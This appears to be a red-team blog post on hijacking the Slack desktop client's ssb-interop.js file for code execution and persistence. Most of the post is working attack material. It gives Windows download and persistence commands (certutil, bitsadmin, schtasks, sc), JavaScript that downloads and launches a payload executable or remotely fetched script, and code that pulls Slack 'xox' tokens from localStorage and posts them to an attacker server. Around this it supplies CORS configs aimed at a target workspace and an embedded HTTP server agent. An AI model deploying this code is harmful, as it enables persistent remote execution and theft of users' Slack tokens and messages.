As of version 4.0.0 of the Slack client, this mechanism is no longer viable. It does however look like Slack keep the previous release. This means you can force Slack to revert to the previous version e.g. 3.4.3 by deleting the app-4.0.0 folder. Slack will stay at this version until it is updated again.
Gaining access and achieving remote access or persistence is generally one of the aims of a Red Team campaign. Generally at some point you’ll be in front of a target’s computer and you’ll want to get your agent up and running. Living off the land is generally a good approach and there are plenty of ways to achieve file download and persistence on Windows. The problem is, these methods are well known and often monitored.
The usual suspects
certutil.exe -urlcache -split -f "https://evil.hacker.domain.local/payload.exe" payload.exe
or
bitsadmin.exe /transfer payload /download /priority high "https://evil.hacker.domain.local/payload.exe" payload.exe
And then achieve persistence by creating a scheduled task or a windows service
schtasks /create /SC weekly /D MON /TN payload /TR c:\windows\system32\payload.exe /ST 09:00:00
or
sc create start=auto binPath=C:\windows\system32\payload.exe DisplayName="Payload Service"
But what if there was a different way?
The Slack ssb-interop.js file is not verified before it’s read and executed. Through it you can achieve process execution and persistence.
C:\Users\<username>\AppData\Local\slack\app-<version>\resources\app.asar.unpacked\src\static\ssb-interop.js
First, to enable to us to debug and triage any issues we need to enable the developer tools with in the slack client (electron). We can do this by setting the following ‘environment variable and restarting the slack client. This will enable ‘right click > Inspect’ functionality and allow you to launch the developer tools
SLACK_DEVELOPER_MENU=true
To hijack the ssb-interop.js
file and allow us to execute code, all we need to do is open it in your editor of choice and append our code. To spawn a process when slack is launched or the UI is refreshed, simply reference the child_process
module and use the spawn
method.
document.addEventListener("DOMContentLoaded", function () {
const { spawn } = require('child_process');
const subprocess = spawn('notepad.exe', [], {
detached: true,
stdio: 'ignore'
});
subprocess.unref();
});
Now when we launch or reload Slack we get our very own notepad.exe
process!
Since we have Slack launching notepad.exe
let’s see what else we can get it to do! Ideally we don’t want to just launch a process, we want to be able to download and execute our own. To do this, we need to reference a few more packages, helpfully included with electron or the slack client.
child_process.spawn
Allows us to spawn the process in a non-blocking ways_extra
Access to the file system so we can save our file to diskpath
Used to format file paths correctly
document.addEventListener("DOMContentLoaded", function () {
const { spawn } = require('child_process');
const fs = require('fs-extra');
const path = require('path');
const fileName = 'notepad.exe';
const localPath = path.join(process.cwd(), fileName);
const remoteUri = 'https://evil.hacker.domain.local/payload.exe';
let saveAndLaunch = function(download) {
fs.writeFile(localPath, download);
const subprocess = spawn(localPath, [], {
detached: true,
stdio: 'ignore'
});
subprocess.unref();
};
const response = fetch(remoteUri, { })
.then(res => res.buffer())
.then(body => saveAndLaunch(body));
});
Now that we have our download and persistence code, we need to configure our web server so that the the Slack client doesn’t reject the requests due to CORS. Below is an example web.config
file for IIS and a .htaccess
file for Apache. Wildcard requests will be rejected, so we need to know in advance what our targets slack sub-domain is.
IIS web.config file
<?xml version="1.0" encoding="UTF-8"?>
<configuration>
<system.webServer>
<httpProtocol>
<customHeaders>
<add name="Access-Control-Allow-Origin" value="https://<your target domain>.slack.com" />
<add name="Access-Control-Allow-Methods" value="GET, PUT, POST, DELETE" />
<add name="Access-Control-Allow-Credentials" value="true" />
</customHeaders>
</httpProtocol>
</system.webServer>
<location path="payload.exe">
<system.webServer>
<staticContent>
<clientCache cacheControlMode="DisableCache" />
</staticContent>
</system.webServer>
</location>
</configuration>
Apache .htaccess file
Header Set Access-Control-Allow-Origin "https://<your target domain>.slack.com"
Header Set Access-Control-Allow-Methods" value="GET, PUT, POST, DELETE"
Header Set Access-Control-Allow-Credentials value="true"
Excellent! Now we can reliably have our payload downloaded and executed!
But wait! There’s more!
Maybe we want to do something else, or we don’t like the fact that we have a binary on disk. Maybe we could live with just script access.
document.addEventListener("DOMContentLoaded", function () {
const { webFrame } = require('electron')
const https = require("https");
const remoteUri = 'https://evil.hacker.domain.local/payload.js';
let execute = function(script) {
webFrame.executeJavaScript(script)
};
const response = fetch(remoteUri, { })
.then(res => res.text())
.then(body => execute(body));
});
Here instead of streaming the response using buffer()
we use text()
and pass it to our execute function. This executes the payload in the Slack client context.
Now we’ve managed to inject our javascript payload within the Slack client we can do everything above and more! So what else can we do?
We’re now running within the Slack client, what does it have that we might want? Maybe the user’s Slack tokens? That would give us the ability to see what messages they’re receiving at a later date elsewhere. We could even send messages as them to other employees! Let’s try and find the information we need.
The Slack client stores information in the cookie and in localStorage, while the cookie would be interesting let’s stick with localStorage.
Slack tokens all start with xox
so straight away we can see several different tokens. Another key of interest is one ending in _static_translations
it has another token so let’s take that as well!
for (var i = 0; i < localStorage.length; i++){
let key = localStorage.key(i);
if(key.endsWith('static_translations')) {
fetch('https://evil.hacker.domain.local', { method: 'POST', body: JSON.parse(localStorage.getItem(key)).data.args.token });
} else if(key.startsWith('xox')){
fetch('https://evil.hacker.domain.local', { method: 'POST', body: key });
}
}
In the above script we’ve now been able to grab the Slack tokens and post them back to our server! So now we have 2 different types of persistence. We have the ability to download and execute any kind of payload we like, and we can check up on our target using their stolen tokens! I’d call that a win.
In Conclusion
Ideally this shouldn’t be possible, Slack should not have been loading anything that’s sitting on disk. Thankfully, they seem to have fixed this. Now the only way to do this, is by extracting the .asar file, modifying the new ssb-interop.bundle.js file and repackaging it
Bonus Points
Embedding a http server inside the Slack client for use as a proxy or as an agent
document.addEventListener("DOMContentLoaded", function () {
const http = require('http');
const url = require('url');
const { spawnSync } = require('child_process');
const port = 7000;
const contentType = { "Content-Type": "text/plain" };
const httpVerb = {
GET: "GET",
POST: "POST"
};
const httpCode = {
Success: 200,
NotFound: 404
};
const handlers = {
GET: {
'/': function (request, response, uri) {
response.writeHead(httpCode.Success, contentType);
},
'/do-something': function (request, response, uri) {
}
},
POST: {
'/': function (request, response, uri) {
var body = "";
request.on("data", function (chunk) {
body += chunk;
});
request.on("end", function () {
response.writeHead(httpCode.Success, contentType);
response.end(body);
});
}
}
};
const server = http.createServer((function (request, response) {
var requestUri = url.parse(request.url, true);
if ((!handlers.hasOwnProperty(request.method)) || (!handlers[request.method].hasOwnProperty(requestUri.pathname))) {
response.writeHead(httpCode.NotFound, contentType);
} else {
handlers[request.method][requestUri.pathname](request, response, requestUri);
}
response.end();
}));
server.listen(port);
});